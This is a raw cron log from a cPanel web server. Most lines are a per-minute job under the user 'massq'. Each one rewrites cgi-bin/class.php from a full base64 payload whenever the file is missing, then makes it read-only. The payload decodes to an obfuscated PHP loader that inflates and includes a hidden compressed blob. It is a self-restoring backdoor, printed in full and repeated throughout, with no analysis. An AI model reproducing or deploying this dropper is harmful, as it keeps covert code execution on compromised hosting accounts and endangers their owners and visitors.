Nov 11 05:58:01 server CROND[24512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:59:01 server CROND[24726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:00:01 server CROND[25519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:00:01 server CROND[25524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:00:01 server CROND[25525]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 06:00:01 server CROND[25528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:00:01 server CROND[25529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:00:01 server CROND[25531]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:01:01 server CROND[25914]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 06:01:01 server CROND[25915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:01:01 server run-parts(/etc/cron.hourly)[25914]: starting 0anacron
Nov 11 06:01:01 server run-parts(/etc/cron.hourly)[25928]: finished 0anacron
Nov 11 06:02:01 server CROND[26637]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:03:01 server CROND[27042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:04:01 server CROND[27863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:05:01 server CROND[28261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:05:01 server CROND[28262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 06:05:01 server CROND[28263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:05:01 server CROND[28264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:06:01 server CROND[28944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:07:01 server CROND[29785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:08:01 server CROND[30601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:09:01 server CROND[31555]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:09:01 server CROND[31557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:10:01 server CROND[32542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:10:01 server CROND[32543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:10:01 server CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:10:01 server CROND[32545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
